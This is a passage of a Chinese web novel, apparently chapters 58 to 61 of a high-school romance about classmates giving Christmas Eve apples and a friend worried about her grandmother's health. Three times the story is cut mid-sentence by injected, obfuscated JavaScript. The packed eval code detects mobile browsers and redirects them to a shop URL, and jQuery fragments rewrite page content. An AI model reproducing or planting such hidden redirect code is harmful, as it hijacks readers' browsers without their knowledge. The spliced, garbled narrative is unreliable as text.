许兰亭、周嘉先都同意了这个提议,三人顶着寒风又在商场附近的街道上逛了又逛,约莫半个小时后,他们终于找到了一家藏在街头巷子拐弯处的水果摊。 水果摊的老板是一位老奶奶,但她摊子上只有二十多个散装的苹果,张期期三人在这二十多个苹果里挑了挑,最终也才堪堪选中了十三个卖相不错的。 张期期付了钱之后,周嘉先拎着这袋苹果,一脸的生无可恋,“怎么办?才十三个!要不到时候一个切成四瓣?” 张期期一脸不可思议:“……那你将会荣获“本世纪最抠班长”的美名。” 许兰亭也坚定道:“不行!十三十三,失散失散!不吉利!” 周嘉先抓了一把头发,“行吧,我们继续找!凑够四十一个苹果。” 三人靠着各自的双腿在在寒风中绕着金河湾商场附近找了一圈又一圈,连带着小巷子都钻进去找了,又找了一个多小时,连续找了好几家水果摊子才终于凑齐了四十一颗苹果。 大冷的天,周嘉先、张期期累得满头大汗,两人分别拎着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281089|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一袋苹果,“伤残人士”许兰亭跟在他俩身后。 张期期喘着粗气道:“好了,苹果买齐了,现在我们去商场里买礼盒来折吧,对了还有糖果,巧克力。” 好在这些东西并不难买,张期期加了钱买了折好的礼盒和小锦囊袋,四十一个礼盒在手熟的店员手下没一会儿就被折好了。 三人在礼盒店店老板和店员的帮助下,将他们挑好的苹果放入礼盒中,将糖果巧克力放入小锦囊内。 临近九点,三人轻手轻脚、小心翼翼地拎着大包小包走出了商场,坐上了李叔开的车。他们约定好第二天早上赶在班里的同学进教室之前,将装着苹果的礼盒和装着糖果巧克力的锦囊放在大家的桌面上。 汽车上,许兰亭自告奋勇地要求将这些小礼品放在他家,明天早上他再统一带到学校。 周嘉先看了一眼他受伤的手臂,皱着眉头,“你确定?你的手……” 许兰亭笑了一声,“等会儿下车的时候你们帮我把东西拿到我家里,明天早上我家叔叔会帮我拿到车上的,你们放心。” “那行,至于明天……我们就约个时间,到时候还是我和期期拿。” 张期期点点头,到了许家之后,她和周嘉先一起将东西拿了进去,出了许兰亭家后,她让李叔送周嘉先回家,而她则走路回自己家。 - 冬日的夜色越是暗沉沉的,天幕上无月无星,只有浓重的乌云随风飘着。 张期期背着书包,悄悄地推开家门,她手里还捏着多余的礼盒纸,这是她额外多买的。 莲姨没在厨房,她妈妈也没在客厅里,好机会! 张期期眼神狡黠,偷偷地溜进了厨房,她记得自家厨房里好像还有几颗富士山苹果,原本她想着在外面凑不到41颗苹果的话,她就把家里的这几颗也算上。 好在到底还是凑够了,张期期从厨房里拎了一小袋苹果后一溜烟地上了五楼。 将书包放在沙发上,她坐在地毯上折着多余的礼盒,又将从厨房里拿出来的苹果放进去,“妈妈一个、爸爸一个、莲姨一个、李叔一个……唔……明天向川不知道在不在校门口值班,嗯!还是给他也准备一个好了!啊!刚好五个!” * 次日,周五。 冬日早上六点,天还未亮。张期期背着书包静悄悄地打开房门,她惦着脚尖、屏着气,从楼梯下到二楼她爸妈的房间门口,将两个小礼盒轻轻地放在门口的地板上。 她往后退了两步之后,悄悄转身下到一楼,继续将一个小礼盒放在了莲姨的房间门口后才出了家门。 李叔已经等在院门口了,昨晚她就提前发消息给对方了,让对方早上六点到她家门口。 张期期拉开车门上了车,从书包里将小礼盒拿出来,她双手捧着递给驾驶座的李叔,“李叔早上好,今天平安夜,这个苹果给您。” 李临惊讶,随即转过身来笑呵呵地接过,“哎呀,我也有啊!” “嗯。平平安安,顺顺利利。”张期期笑着道。 - 张期期到了学校门口下车,许兰亭看见她便招呼道:“快过来,我和先哥等你好一会儿了!” 许家的汽车也停在校门口,汽车的后备箱大开着,里面放着大包小包的东西。 张期期和李叔告别后,笑着跑过去,“你们怎么比约定的时间还早啊!” 周嘉先点点头,“你这个经常踩点到教室的不知道,我们班有的同学真的很早就来教室了,我这不是怕撞上他们吗?那就没有惊喜了!” 经常踩点到教室的张期期:…… 他们边说着,手上的动作也没停,双手都拎着袋子往校内走去。 还不到七点,天色将亮未亮,学校大门虽然开了,但校道上空旷无比,只有昏黄的路灯洒下一片光晕。 寒风簌簌吹着,他们嘴里呼出的气息变成白雾飘向空中。 张期期眼神惊奇,“我还没见过这样的一中呢!” 周嘉先眉眼一挑,用下巴指了指不远处的那栋灯火明亮的教学楼,“看到那栋楼没有,高三的!等你上了高三就能天天见到这么早的一中了。” 京照一中的高三是强制性住校的,因为高三晚上也是要上课的。 张期期、许兰亭对视一眼,异口同声道:“简直可怕!” - 高二重点一班的教室乌漆麻黑的,周嘉先走到教室门口,将拎着的东西放在地上,随后一个原地起跳,伸手从教室门框上摸下来一把钥匙。 张期期:“……原来,教室还锁门的啊!” 周嘉先:“你这个经常踩点到教室的当然不知道,而且学校多媒体电脑很值钱的,不锁,被偷了怎么办!” 张期期:…… 周嘉先说着,打开了教室的门,又将钥匙放回门框上面。 许兰亭、张期期拎着东西走进去,张期期肩膀撞了撞开关处,将灯打开,周嘉先也将东西拎起来进了教室。 教室里的暖气还没开,白织灯下更显冰冷刺骨。 张期期双手一拍,“来吧,忙活起来就不冷了。” 京照一中的暖气要等到早上七点的时候学校统一再开。 他们三人穿得极为臃肿,双手不甚灵活地打着袋子,将一个个小礼盒和小锦囊放在了同学们的课桌上。 不到十分钟,全部搞定!此时刚好七点过。 张期期、许兰亭、周嘉先将书包放在各自的位置上,张期期:“走吧,我们走那边的楼梯下,然后去食堂吃早餐。” “好”。二人点头。 他们将灯光关掉,教室门重新锁上,走廊上寒风对流着吹,三人瑟瑟发抖地挤在一起走。 走在中间的周嘉先无奈道:“你俩别挤着我走行吗?” “挤一挤才暖和嘛!”张期期、许兰亭异口同声。 …… “你别撞我啊!” “你才撞我呢!” “路这么宽,你俩非要这样是吧?” “路这么宽,但我们穿得胖啊!” “神经病啊……” 笑声飘荡在教学楼内,隐隐约约地传入隔壁班正在摆小礼物的同学耳里,他瞬间浑身一抖,“谁,是谁在笑?” 59. 第 59 章 - 早上七点钟之后,京照市在冬日睡梦中渐渐苏醒过来,许是节假日和周五的原因,一大早的前往市中心的主干街道就开始拥堵了。 交警穿着反光衣指挥着交通情况,汽车鸣笛声此起彼伏的,特别是靠近京照一中的这一段路,人群更是熙熙攘攘。 大多数学生等不及汽车通行了,纷纷选择下车走这一段路,因此人行道上,甚至自行车车道上都堵满了人。 侯蕊骑着自行车龟速穿梭在人流之中,唔……前面有两辆自行车和她的一模一样。 是陈恕、林听啊…… 此时的陈恕、林听时不时地望向汽车车流的方向,但以往这个点就差不多出现在这一段路程的张期期、许兰亭却还没有出现,两人只得随波逐流地往前骑着。 侯蕊眼神微动,骑到了他们身后,她还未开口打个招呼时,便听见身后传来呼唤声:“侯蕊、林听、陈恕……等等我们啊!” 陈恕、林听下意识地回过头,一眼就看见了身后侯蕊,两人目光越过侯蕊,看向她的身后,是王思、雷婷、蒋文、关宇、顾佳熹等等…… 一场堵车,几乎将他们班大部分的人堵到了一起。 一群人浩浩荡荡地进了校园,又挤着上了楼梯,穿过走廊来到了重点一班的门口。 陈恕、林听刚好走在最前面,他自然也知道教室门框上放着钥匙,他踮起脚尖,伸手摸到钥匙后开了门。 与此同时,林听也伸手打开了教室的灯光。 白织灯瞬间照耀着整间教室,教室每一张课桌上摆放着红色的小礼盒和墨绿色的小锦囊。 陈恕、林听皆是一滞,呆愣站在门口。 他们身后的王思见两人堵在教室门口不进去,满脸疑惑,“干嘛呢你们俩,快进去啊,外面冷死了……” 他从两人中间挤了进去,刚一进去,他顿时“哇哇哇……”地惊叫起来,“这是什么!这是什么!这是给我们的吗?” 陈恕、林听回过神来,眼神闪过无措,两人下意识地后退了一步,让开道路。 他们身后重点一班的学生蜂拥而入,“什么什么啊?” “怎么啦?” “……” 进去后,一群人惊喜地欢呼着,他们迅速跑到自己的位置上,拿起课桌上的小礼盒,打开一条缝看了一眼,笑容璀璨,“是苹果,哦,对,今天是平安夜!” “还有糖果、巧克力,大家都有耶!” “难道是学校发的?”王思猜测着又很快自己否定道:“不,不可能,学校只会给我们发试卷!” 众人都沉浸在喜悦中,林听、陈恕也走到了他们自己的课桌前,没有人注意到靠近走廊那一侧后面的窗户悄悄地打开了一条缝,三张人头叠高高似的垒在一起偷偷看着班里同学激动的神情。 陈恕挺直着背脊坐在课桌前,双手自然下垂,他低着头看着红色的小礼盒和墨绿色的小锦囊,少年指尖攥紧又松开,一次又一次。 张期期看着心急,怎么陈恕就不打开看一下呢?光看着就能看出花啊? 这时,周嘉先轻轻拍了拍张期期、许兰亭的肩膀道:“行了,惊喜也给了,我们进去吧。” 张期期、许兰亭点头,跟在他的身后走进教室。 周嘉先刚一走进教室,王思便喊道:“先哥,这么大的惊喜该不会是你搞的吧?” 周嘉先还没有回答,教室后门突然蹿进来重点二班的学生,对方洋洋得意地举着手中的苹果,喊道:“快看,这是什么!苹果哦~我们班班长给的,每个人都有哦~” 坐在后排的蒋文一下子将对方拽住,“睁大你的眼睛看看,我们班可不止有苹果哦~还有糖果、巧克力呢!” 对方大惊失色,一看,还是包装得漂漂亮亮的大红色礼盒,墨绿色小锦囊,他捂住心口,一副备受打击的样子,“不行不行!太卷了太卷了……” 蒋文踹了他一脚,“别皮了,回你班里去。” 对方灰溜溜地跑了,张期期哈哈大笑,“当然是我们先哥给大家的惊喜啊!别人班的小宝贝有的,我们班的小宝贝也要有!” 侯蕊笑着瞪着张期期一眼,“哼,油腻。” 班里同学哇哇大叫着,坐在后门的同学举着小礼盒、小锦囊跑去隔壁班显摆去了。 张期期走到陈恕身边,微微侧弯着腰看他,小声道:“陈恕,你怎么不打开看看?” 陈恕抿了抿唇,“我知道是什么了。”刚才班里手脚快的同学已经打开看了,他也看到了是一个非常好看的苹果,以及五颜六色的糖果和巧克力。 张期期眸中闪过笑意:“知道是知道,但最重要的是自己亲手拆开小礼盒的心情。”她催促着他打开,“快!打开看看!” 陈恕顿了顿,片刻后,他试探着伸出手微微一扯,将礼盒上的红色丝带解开。 少年小心翼翼将打开礼盒,随即目光一滞,不只是苹果…… 张期期见他愣然,顿时眉眼弯弯地指了指自己,“你这个是我准备的,唔……我这大概算是夹私带货吧!你应该不会揭发我吧?” 陈恕抿了抿唇,“……不会。” 他垂眸看向自己开裂的指尖,小礼盒内除了一个苹果外,还有一支护手霜。 陈恕默默地收回手,却被张期期横空截住,她握住他的手,笑道:“护手霜现在就可以用,你这几个手指都裂开了小口了……” 她边说着边反身坐在了许兰亭的椅子上,面色纠结道:“……手指连心,很疼的!” “要我帮你涂吗?”张期期眼神期待。 陈恕瞬间抬眸,眼神中闪过狼狈,他支支吾吾又焦急道:“不、不用。我、我自己来……” 少年慌手慌脚地拿起那支护手霜,打开盖子挤了挤,怎……怎么怎么挤都挤不出来? 张期期噗呲一笑,拿过他手中的护手霜,将盖子旋转拧开,瓶口处有一小块的锡纸封口,她将锡纸封口撕开,再把盖子旋转着拧回去,递给他,“好了,现在可以挤了。” 陈恕愣愣地看着她操作,闻言,他抿了抿唇,“谢谢。” “我没有笑话你的意思,是觉得……唔……你着急的时候反而看起来生动、可爱、活泼一些。”张期期手肘支在他的桌面上,双手托着脸看着他笑道。 生动?可爱?活泼? 陈恕抿了抿唇,一时间竟不知说些什么。 “好了,你快涂一下吧!你这个手指看起来好疼啊……”张期期皱着眉头道。 原本打算藏起自己双手的陈恕一顿,他以为她是嫌他的手指看起来丑,原来不是啊…… 疼吗?陈恕看了一眼眉心微蹙的少女,好像不太疼了…… - 像这种夹私带货的行为,几步之外,林听的位置上也发生着这一幕,许兰亭同样催促着林听打开小礼盒。 以为大家的小礼盒内都是同样的东西,林听便顺从地打开了…… “这……”林听惊讶地看着许兰亭,礼盒内确实有一个苹果没错,但苹果放在了一个嫩黄色、矮胖矮胖、很可爱的马克杯中。 许兰亭摸了摸后脑勺,不好意思地笑了笑了,“上次你家里的玻璃水杯不是砸了吗?这个送你。” ……以往她放学的时候都不会将她的保温杯带回家的,但自从那一日她将家里的玻璃水杯狠狠从窗户里砸出去的那一天后,她放学都会将保温杯带回家用,第二日再带回来。 林听垂眸望着这个宽宽胖胖的马克杯,上面没有任何一个logo,显然不是什么大牌子的水杯。 她顿时松了一口气,还好这不是她难以承受的礼物,因此她也就扬起脸微微笑了笑,“谢谢你,兰亭。这个水杯很可爱,我很喜欢。” 听她这么说,许兰亭眼底的忐忑瞬间散去,取而代之的是发自内心的喜悦,“你喜欢就好。” - 周嘉先手肘支在课桌上,以拳抵着右侧的太阳穴,他半侧着身子看着张期期、陈恕,视线在他们之间来回转了转,又看了看许兰亭、林听,目光在两人身上转了转…… 嘶~看得他牙都酸了! 难怪兰亭要将全部小礼盒放他家,原来是为了方便他夹私带货啊!但是……期期这家伙是什么时候动手脚的,他怎么不知道啊…… * 上午最后一节课结束,张期期、陈恕、许兰亭、林听还有周嘉先结伴去了食堂。 大概是节日的原因,一中的学生难得地稍微松懈了一下,选择去校外的小吃街吃午饭,这就导致了食堂比起平日里稍显冷清了一点。 他们顺利地找到位置,甚至连排队取餐都没有等多久。 快吃完午饭时,突然几个女生一脸打趣地推推搡搡着一个面带羞涩的女生往他们这一桌走来,女生的手上还捧着平安夜苹果礼盒。 当面带羞涩的女生站在了陈恕的身旁时,她身边的朋友瞬间笑着跑开了…… “哎……你们……”朋友跑开,女生紧张得脸色发红,她似乎也想拔腿就跑,但当她的目光定在陈恕身上时,却仿佛有了无限的勇气一般。 处在紧张中的女生并没有注意到她面前这一桌气氛突然变得奇怪起来,许兰亭、林听、周嘉先甚至陈恕都下意识地望向了张期期。 张期期一顿,随即眼眸带笑,“陈恕,我们几个都吃完了,就先在食堂门口等你。” 陈恕眼底闪过慌张,他张了张口准备说些什么时,却见张期期依旧笑意盈盈地对着他重重点了点头,“不着急,我们门口等你。” 她率先端起餐盘起身,林听、许兰亭、周嘉先也跟着端起餐盘起身。 一旁神情紧张的女生红着脸小声对着他们道:“谢谢。” - 食堂门口。 林听眼神担忧地看着张期期,她斟酌半响,支支吾吾道:“期期,你……你……” 相比起林听的小心翼翼,许兰亭就直接多了,他哇了一声,“有人想和你抢陈恕耶,你刚才干嘛要我们都走开啊,这不对啊!我们应该坐在那里听听她说什么!还有现场观察陈恕的反应才对!” 周嘉先思索了片刻,点头附和。 张期期闻言翻了个白眼,“什么叫抢!我喜欢陈恕并不意味着陈恕就是我的个人物品,他有思想,他是个人,他属于他自己。” 许兰亭“哦”了一声,他回头看着方才餐桌的位置,那名女生和陈恕面对面站着,少女低着头好像在说着什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她们担忧地看着她,有的安慰着朋友,有的义愤填膺地抿着唇…… 女生笑了笑,“我没事,他虽然没收我的苹果,但是他说祝我平平安安,健康顺遂。” “那……那他还蛮好的,没有看起来那么冷漠嘛?” “嗯。” - 一会儿后,周嘉先几人听见身后陈恕的脚步声,他喊了声,“张期期——” 他们回头,见一向冷淡内敛的陈恕脚步匆忙地走过来,周嘉先、林听、许兰亭三人对视一眼,纷纷道:“我们先走了,你们慢慢聊。” 三人光速溜走后,陈恕很快就站在了张期期的身前,此时他抿着唇眼神沉沉地看着她,少年的胸腔起起伏伏着,寓示着他内心的不平静。 张期期突然笑了,眼神促狭,“怎么了……被人表白很紧张?” 陈恕嘴角一僵,他抿着唇转身快步就走。 “诶诶诶……等等我啊!”张期期连忙跟上,紧跟在他的侧后方,少女终于意识到他不太开心了,举白旗投降般,喊道:“好嘛好嘛!我不该取笑你的,是我错了……” 话音刚落,陈恕脚步一滞,停下来站在原地,张期期一看,顿时绚烂一笑,蹦蹦跳跳地走在了他身边。 她心道:……陈恕真好说话。 重点一班所属的教学楼就在眼前了,两人一路走来,神色都平静了很多,仿佛刚才的事已经过去了。 在走进教学楼前,张期期还是忍不住道:“我有一个问题!” 陈恕:……“你说。” 张期期:“我想问问你有没有好好拒绝人家,唔……态度认真、语言温和,面容带笑。”她竖起一个又一个手指,最后面色郑重道:“少女心事可是很珍贵的呢。”她眼睛瞪得圆圆地盯着他看。 陈恕微微垂眸,“有。” 这么多年,在这个世界上他所接收到的善意和喜欢寥寥无几,所以他理解张期期口中的“珍贵”。 少女嘴角微扬,此时的她没有意识到自己为什么毫无疑问就认定陈恕是拒绝了的。 她笑了片刻后,突然嘴角一僵,她强装出“阴测测”的模样,目光逼近陈恕,“为什么你现在能微笑着拒绝别人,而当时对我就是一副冷冰冰的模样?” 陈恕垂眸望着她,她的演技实在不好…… 少年控制着笑意,手掌按住她的头,轻轻推远,神色淡淡,“你和别人不一样。” 张期期顿时一笑,充满好奇,急声道:“哦~我哪里不一样?” 陈恕垂眸睨她一眼,“你听不懂拒绝。” 说完,少年跨着长腿走进教学楼,他身后传来张期期故作夸张的声音,她喊道:“哎呀,陈恕你好了解我啊!” 陈恕脚步一顿,险些绊倒自己,他嘴角抽抽,头也不回地上了楼梯,身后再次传来少女上楼梯细碎的“哒哒”声,他眼底闪过一丝笑意。 少年的尖锐在女孩子充满笑意的眼眸中渐渐消融,被这样的眼神看着,陈恕没有意识到如今自己能够微笑着拒绝别人,正是因为心底有着张期期明目张胆的偏爱。 60. 第 60 章 - 平安夜过后是圣诞节,圣诞节又恰好在周六,而今天是周五,三层buff叠加,今天一整天学校高一高二的学生一个个心浮气躁的,就指望着放假了。 往日里寒风凛冽的走廊是空空荡荡的,但今日走廊上却沸反盈天,大多数学生们顶着寒风一脸激动和期待地讨论着周六要怎么过圣诞节,只有少数学生还留在教室内刷着习题、试卷。 下午最后一节课的上课铃声响起,学生们的脸被寒风吹得微微发红,但他们的眼神却是明亮激动的。 张扬望着讲台下的学生们,他哼笑一声,“收收心,都上课了,想怎么玩,都等到放假再去琢磨。” “许兰亭?你还不坐回原位吗?上课铃声都响完了,你没听见吗?” 许兰亭摸了摸后脑勺,截住和周嘉先聊天的话题,麻溜地回到了座位上。 这节语文是评讲语文试卷,张扬只是挑了几道题出来讲了讲便算将试卷讲完了,讲完之后他重点筛选出了一些容易混淆的成语,一一解释给班里的学生听。 解释完后,他又将一沓复印好的成语资料纸分成六份,一份七张,放在教室最前排学生的桌上,让他们传给后面的同学。 一节课40分钟很快就过去了,下课铃声一响便预示着节假日的到来,班里的同学按耐不住地低声欢呼起来。 张扬拍了拍讲台桌面,强力镇压这群学生的骚乱,他喊道:“先安静下来,作业!我还没布置作业呢……” 他这话一出,讲台上顿时蹿上了以许兰亭为首的几名男同学,许兰亭胆大包天地捂住张扬的嘴,偏偏张扬忌惮着他受伤的手臂,竟也不敢挣扎。 就这么一会儿的功夫,其他几位男同学就将张扬和许兰亭围住了,他们推着张扬移出了教室。 教室内的同学哈哈笑着,一瞬间的功夫,张扬便被学生们关在了教室门外,许兰亭转过身来,一副“功与名在身”的模样,他大手一挥,仗势十足,大声喊道:“我宣布本周没有语文作业。” “好——” “亭哥威武——” 教室内群情激昂,同学们哐哐哐地拍打着桌面,什么作业,都见鬼去吧…… 张扬就站在教室门口寒风中凌乱,他听着教室内许兰亭“大放厥词”,瞬间眉眼扬起,他在心中哼笑一声,道:好啊你们!没关系,道高一尺,他魔高一丈。 他慢悠悠地走回教室,坐在座位上摸出手机一通按,在班级□□群里发出“本周语文作业”。 而此时的重点一班,学生们的狂欢还没结束时,就有人拿着手机捂着心脏,一副“承受不住”的模样,“哀嚎”道:“靠!老班在班群里发了语文作业!奸诈奸诈!” 他这一声嚎叫,激起群情激愤,“不是,王思你有病啊,你自己看到了就行,干嘛要让我们都知道啊?” “就是啊……你这一喊,我也知道了,我不想做作业啊!可是让我当作没听到,我又欺骗不了自己!” 雷婷捂着耳朵闭着眼睛,反复给自己洗脑,“我没听见我没听见……我不知道班主任在群里发了作业!” 望着眼前的这一出闹剧,陈恕终于回过神来,他一时间神情一言难尽,没人告诉过他重点一班的同学都这么“活泼”的啊…… 半响后,他看见一旁的张期期对着手机的页面要一边收拾着语文作业,一边抄抄写写着什么似的,侧前方的林听也在收拾东西,他环视了教室一圈,发现同学们都是如此。 陈恕抿了抿唇,意识到只有自己没有手机,那语文作业……他侧身朝着张期期问道:“期期……语文作业是什么?” 张期期还未回答时,在教室乱蹿的王思突然停住脚步,刚好站在了陈恕的身后,他一听陈恕的话,直接道:“你看手机啊,语文作业在班群里!” 教室内的同学都在收拾作业放进书包内,所以一时间教室稍显安静,而王思此时的声音便显得格外引人注意。 陈恕指尖微微攥紧,淡淡道:“我没有手机。” 王思顿时瞪大双眼,惊愕喊道:“你居然没有手机?!” 这一次他的声量如此大,班里在收拾书包的同学陆陆续续下意识地望了过来,陈恕感受到来自四面八方的炙热视线,他绷着嘴角,微微垂下眼眸。 ……是,只有他没有手机。 张期期瞪着嘴上不把门的王思,她正准备说话缓和缓和此时尴尬的气氛时,便见王思动作夸张、大力地拍了一下他自己的大腿,大声嗷嗷说道:“没有手机!我去!这多好的机会啊可以不写作业,光明正大啊!” 他恨铁不成钢地指着陈恕道,“就你……就你……居然还主动问作业是什么,榆木脑袋啊你!” 陈恕一愣,瞬间抬眸,他鼓起勇气望向方才那些令他坐立不安的炙热眼神,原来那不是嘲笑的眼神,不是他想象中那些嘲笑他落魄与贫穷的眼神,而是……“凭什么他可以不做作业”的嫉妒眼神。 自认为一无所有且生平第一次被别人嫉妒的陈恕:…… 他眼神无措地呆愣坐着,张期期见他这副样子,顿时笑了…… 她笑骂道:“王思,你以为陈恕是你啊……”她白了对方一眼,同时伸手若无其事地将方才抄好的便利贴递给陈恕,上面写着的是本周的语文作业内容。 陈恕垂眸接过,嘴角带着微微的笑意。 他不是早在第一天转入重点一班的时候就领略到了这个班级的独特吗?与他想象中的“每个人沉迷于学习中,两耳不闻窗外事”完全不同。 他一时不知道该用什么样的词语来形容他们,来形容这个独特的班级…… * 圣诞节,张期期是不过的。她对于英语的生理性厌恶,连带着她也对“出国留学”“洋节”同样不“感冒”。 而这次的“平安夜”,一方面是因为隔壁班班长的“内卷”,一方面是为了让陈恕知道什么是“平安夜”,另外“平安”这个寓意也还蛮不错的,所以张期期这才起了兴头协助班长周嘉先给班里的同学过这个节日。 张期期像往常一样周六去金河湾附近上绘画培训课,周日在家里埋头刷试卷、做作业,这一周周末过得飞快。 很快,又到了周一上学的时候,早读课下课铃声结束,林听将收上来的语文作业交到年级组办公室。 她刚一出教室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13300117|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门,许兰亭便神情低迷地反身坐在椅子上,他双腿叉开压在椅子底端的架脚处,一会一会地叹着气。 握着黑色水笔刷题的陈恕:…… 他抬眸看了一眼许兰亭,斟酌片刻后放下了笔,“……你、发生什么事了吗?” 陈恕其实并不擅长开解别人,但他还是硬着头皮这么做了。 许兰亭看了他一眼,摇摇头,长长地叹了一口气,“你不懂的……” ……期期那么喜欢你,你怎么能体会情感不顺的我呢?这一刻,许兰亭内心微微泛酸,怎么陈恕就这么好命呢? 硬着头皮的陈恕:…… 他抿了抿唇,拾起桌面上的笔继续刷题。 许兰亭再次叹气的时候,张期期瞬间将笔拍在桌面上,怒道:“许兰亭!你干什么!你打断我好几次做题的思路了……” 她的怒气来得快,去得也快,说了许兰亭一句之后,张期期无奈地问他,“到底怎么了?” 许兰亭这才单手拖着椅子坐到张期期桌子的侧前方,小声道:“上周六不是圣诞节吗?我单独约林听出来玩,她没答应,说要学习……她不是学习就是兼职,我总觉得她整日里太紧绷了。” 张期期若有所思地点点头,“你想约她出去玩?” “嗯。”许兰亭点头,“学习就应该劳逸结合。” 张期期白了他一眼,眼底充满质疑,仿佛在说“真的吗?我不信,该不会是你想出去玩吧?” 见状,许兰亭着急得就差对天发誓了,“我说真的,她前阵子就想报名京照市高二年级理科竞赛,当时她看起来还游刃有余的样子,好像是准备挑一科去参加,但我……我今天早上看着,她好像每一科都想参加了。” 闻言,张期期愕然,一般来说,参加竞赛都是挑自己最有把握的参加,哪有人广撒网一样地参加竞赛。 张期期、许兰亭两人窃窃私语着,出于礼貌,陈恕并不想偷听别人说话,但无奈他们的位置实在是近,所以陈恕自然也听到了他们俩对话的内容。 ……高二年级理科竞赛? 陈恕抿了抿唇,伸手在桌柜里翻找了片刻,他抽出来一张宣传单,隔着走道伸手放在张期期的桌面上,低声道:“是这个竞赛吗?” 许兰亭一把抓过,仔细看了看,肯定道,“就是这个。” 陈恕神情犹豫,林听的家庭情况具体怎么样他其实是不清楚的,但他能感受到在某些方面,她和他一样,很窘迫。 张期期、许兰亭都看着他,陈恕抿了抿唇,在心中组织着语言,他委婉道:“这个竞赛是有奖金的。” 在背后议论别人窘迫的金钱状况终究不太好,所以陈恕想了想,把自己拉下水,补充了一句,“其实我也打算报名。” ……他也缺钱来着。 张期期、许兰亭面面相觑,仔细看了一眼神情坦然的陈恕,他们俩心底稍微松了一口气,这个还好,没那么紧绷。 但……想到始终不透露这件事、且准备每科都参加的林听,他们的心又提了起来,是发生什么事了吗? 张期期眼神微黯,她在想,她作为林听的朋友是不是太失职了…… 61. 第 61 章 - 等林听从办公室回到教室时,张期期、许兰亭早就已经散了,各自坐在自己的座位上不知道在想着什么。 上午四节课的上课时间,陈恕都看到隔着走道的张期期偷偷在桌柜里面玩着手机,他余光瞥了几眼后,发现她好像在刷着网站。 而一到下课时间,他就看见她拉着许兰亭跑到走廊外面嘀嘀咕咕地说着什么,隔着窗玻璃,他并不能看清她的面容,但等到最后一节课的上课铃声响起后,他看见走进教室的她眼神是亮晶晶的…… 中午放学铃声响起,张期期撇下了陈恕、许兰亭、周嘉先三人,带着林听两人手挽着手前去食堂吃饭了。 将餐盘放在桌面上,林听、张期期面对面地坐着。 林听眼神疑惑,“期期,怎么今天我们不和他们一起吃饭啊?” 这个他们自然指的是陈恕、许兰亭、周嘉先三人,他们几人一起约饭已经持续了很长一段时间。 张期期顿了顿,道:“先吃饭,吃完再说,天那么冷,饭菜很容易凉的。” 林听闻言,默默点了点头。 张期期见林听吃完了,也跟着放下了筷子,她斟酌片刻后,还是选择直接问,毕竟她们是好朋友不是吗? “林听……最近林奶奶身体不舒服吗?” 她想来想去,林听缺钱只有可能是林奶奶需要钱,但林奶奶好端端的怎么会需要钱呢?张期期想了想,觉得应该是老人家年纪大了,身体可能不太好,所以林听才急需要用钱。 林听闻言下意识垂下了眼帘,好半响,她实在忍不住了,声音渐渐哽咽起来,低声道:“也不是最近……奶奶一直身体都不太好,特别是冬天。” “今年的冬天格外的冷,这几天夜里我奶奶一直在咳嗽,吃了药也不见好转,我就有点心慌,医院是最烧钱的地方,我得攒些钱,不然到时候怎么办?” 她双手掩面,低低的啜泣声从她的喉咙里溢出来,医院、医院……当年她的爸妈就是大冬天出了车祸到医院抢救时去世的…… 医院冰冷的白织灯照在年幼的她身上,她至今还能依稀感受到当时的刺骨和绝望。 年幼的她尚且有奶奶可以依靠,可是如今奶奶老了,她却还没长大,还没能成为她的依靠。 张期期看着她,心里泛起一阵阵酸涩,她闭了闭眼缓解湿润的双眸,低声道:“你还有我们啊!林听……你知道我很有钱的,兰亭、兰亭也有钱。” 林听擦了擦眼角的泪水,摇了摇头。 ……这世界上的情感只要沾染上利益,就会变质,她希望他们几人之间永远保持着单纯的情谊。 她红着眼睛笑道,“可能也没到那个程度,只是我憋得有些心慌而已。说不定过几天奶奶就好了。” 张期期点了点头,“会的,下下周温度会稍微回暖一些。” “嗯。” 她们两人端着餐盘放到了回收处后,又回到了教室。 半小时后,许兰亭偷偷发信息给张期期,两人又在楼梯的拐角处接头。 张期期将林听的心事大概地讲了一些后,许兰亭神色沉重,他问:“那你有没有劝她不要参加那么多科目的竞赛,她身体会吃不消的,而且那个竞赛我上午打听了,每一科都要跑到省里去参加……” 这就意味着林听要请好几次假,另外一中为了迎接不久后的全省期末统考,也开始准备给他们题海狂训了,请假很难的……班主任一定会生气的! 这些话许兰亭都没有说完,就被张期期打断了。 她道:“我劝她?我拿什么理由劝她?我站着说话不腰疼地劝她?林奶奶是她唯一的亲人了。” 张期期说着,神色也低沉下来,“如果我是她,我也会这么做的。她想要靠自己的努力来为林奶奶增加一些保障,只有这样她才会稍显安心一些,我们既然是她朋友,她想怎么做,我们就支持她,她需要我们的时候,我们再出现就好了……” 许兰亭沉默了,良久后,他点点头,“那……那个方法呢?” 张期期唔了一声,“先等她竞赛完再说吧。” * 这一周,林听、陈恕都忙于省内竞赛的初赛、复赛、决赛,两人一连请了好几天的假。 